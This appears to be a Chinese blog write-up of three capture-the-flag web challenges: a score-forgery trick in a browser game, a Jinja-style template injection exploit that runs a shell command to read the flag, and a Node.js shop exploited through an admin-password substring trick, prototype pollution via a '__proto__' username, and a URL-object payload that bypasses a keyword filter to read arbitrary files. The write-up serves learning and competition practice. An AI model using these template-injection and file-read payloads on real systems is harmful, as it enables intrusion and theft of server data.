web

dino3d

金典前端小游戏,但是这道题的flag是放在后端的check.php,传入三个参数,socre token 和tm时间戳,首先定位到关键代码

sn(e, t) {
        e && t && fetch("/check.php", {
            method: "POST",
            headers: {
                "Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
            },
            body: "score=" + parseInt(e).toString() + "&checkCode=" + md5(parseInt(e).toString() + t) + "&tm=" + (+new Date).toString().substring(0, 10)
        }).then(e=>e.text()).then(e=>alert(e))
    }

很明显就是一个接口,这里的token生成方式为md5(parseInt(e).toString() + t),t就是salt,并且数固定值

image-20220919005530489

var salt = "_wElc03e";
var checkCode = "DASxCBCTF" + salt;

这里我就直接解出题目的js环境,在控制台里面直接传参了

image-20220919005741159

payload

var s = "DASxCBCTF_wElc03e";
console.log(game.sn(10000000, s));

Text Reverser

简单的ssti,也没啥过滤,就过滤了个命令执行执行的关键词以及{{双花括号,可以直接由{%print()%}代替

下面给出exp

# -*- coding: utf-8 -*-
# @Time : 2022/9/18 12:33
# @Author : pysnow
payload = "{%print(''.__class__.__base__.__subclasses__()[200].__init__.__globals__['__builtins__']['eval'](\"__import__('os').popen('ca'+'t /f*').read()\"))%}"
print(payload[::-1])

image-20220919010041982

cbshop

const fs = require('fs');
const express = require('express');
const session = require('express-session');
const bodyParse = require('body-parser');
const app = express();
const PORT = process.env.PORT || 80;
const SECRET = process.env.SECRET || "cybershop_challenge_secret"

const adminUser = {
    username: "admin",
    password: "😀admin😀",
    money: 9999
};

app.use(bodyParse.urlencoded({extended: false}));
app.use(express.json());
app.use(session({
    secret: SECRET,  
    saveUninitialized: false,  
    resave: false, 
    cookie: { maxAge: 3600 * 1000 }
}));
app.use(express.static("static"));

app.get('/isLogin', function(req, res) {
    if(req.session.username) {
        return res.json({
            code: 2,
            username: req.session.username,
            money: req.session.money
        });
    }else{
        return res.json({code: 0, msg: 'Please login!'});
    }
});


app.post('/login', function(req, res) {
    let username = req.body.username;
    let password = req.body.password;
    if (typeof username !== 'string' || username === '' || typeof password !== 'string' || password === '') {
        return res.json({code: 4, msg: 'illegal username or password!'})
    }

    if(username === adminUser.username && password === adminUser.password.substring(1,6)) {//only admin need password
        req.session.username = username;
        req.session.money = adminUser.money;
        return res.json({
            code: 1,
            username: username,
            money: req.session.money,
            msg: 'admin login success!'
        });
    }
    req.session.username = username;
    req.session.money = 10;
    return res.json({
        code: 1,
        username: username,
        money: req.session.money,
        msg: `${username} login success!`
    });
});

app.post('/changeUsername', function(req, res) {
    if(!req.session.username) {
        return res.json({
            code: 0,
            msg: 'please login!'
        });
    }
    let username = req.body.username;
    if (typeof username !== 'string' || username === '') {
        return res.json({code: 4, msg: 'illegal username!'})
    }
    req.session.username = username;
    return res.json({
        code: 2,
        username: username,
        money: req.session.money,
        msg: 'Username change success'
    });
});

//购买商品的接口
function buyApi(user, product) {
    let order = {};
    if(!order[user.username]) {
        order[user.username] = {};
    }

    Object.assign(order[user.username], product);

    if(product.id === 1) {             //buy fakeFlag
        if(user.money >= 10) {
            user.money -= 10;
            Object.assign(order, { msg:  fs.readFileSync('/fakeFlag').toString() });
        }else{
            Object.assign(order,{ msg: "you don't have enough money!" });
        }
    }else if(product.id === 2) {        //buy flag
        if(user.money >= 11 && user.token) {  //do u have token?
            if(JSON.stringify(product).includes("flag")) {
                Object.assign(order,{ msg: "hint: go to 'readFileSync'!!!!" });
            }else{
                user.money -= 11;
                Object.assign(order,{ msg: fs.readFileSync(product.name).toString() });
            }
        }else {
            Object.assign(order,{ msg: "nononono!" });
        }
    }else {
        Object.assign(order,{ code: 0, msg: "no such product!" });
    }
    Object.assign(order, { username: user.username, code: 3, money: user.money });
    return order;
}

app.post('/buy', function(req, res) {
    if(!req.session.username) {
        return res.json({
            code: 0,
            msg: 'please login!'
        });
    }
    var user = {
        username: req.session.username,
        money: req.session.money
    };
    var order = buyApi(user, req.body);
    req.session.money = user.money;
    res.json(order);
});

app.get('/logout', function(req, res) {
    req.session.destroy();
    return res.json({
        code: 0,
        msg: 'logout success!'
    });
});

app.listen(PORT, () => {console.log(`APP RUN IN ${PORT}`)});

获取admin账号

关键代码

if(username === adminUser.username && password === adminUser.password.substring(1,6))

截取第一位到第6位,首先把题目给的password unicode编码一下

image-20220919010743275

\ud83d\ude00\u0061\u0064\u006d\u0069\u006e\ud83d\ude00,截取后为

\ude00\u0061\u0064\u006d\u0069

image-20220919010809325

登陆成功

原型链污染

image-20220919011032163

如果进入*if*(*user*.money >= 11 && *user*.token)就要,就要凭空出现个token参数,很显然这里是没有,要是没有怎么办,js会向它的原型链上寻找该参数,刚好这里又存在污染点

Object.assign(order[*user*.username], *product*);

直接让username的值为__proto__,合并product到order对象的原型链上

payload如下

image-20220919012838607

image-20220919012919830

成功进入文件读取

URL对象绕过

image-20220919013012460

这里存在一个关键词过滤,过滤了flag关键词,但是可以任意读文件的

image-20220919013114386

这里其实是国外一个比赛的原题(corCTF2022 simplewaf),具体可以移步这篇文章https://pysnow.cn/archives/330/

大概说一下,就是readFileSync这个原生函数其实是可以传入一个URL对象的,URL对象会自动URL解码,这样就可以通过URL编码绕过waf了,具体的源码分析可以去我那篇文章看,最好自己试着跟进一下,还是非常有意思的

下面给出payload

{"token":"1",
"name":
{
"href":"a",
"origin":"b",
"pathname":"/fl%61g",
"protocol":"file:",
"hostname":""
}
,"id":2}
最后修改:2022 年 09 月 20 日
如果觉得我的文章对你有用,请随意赞赏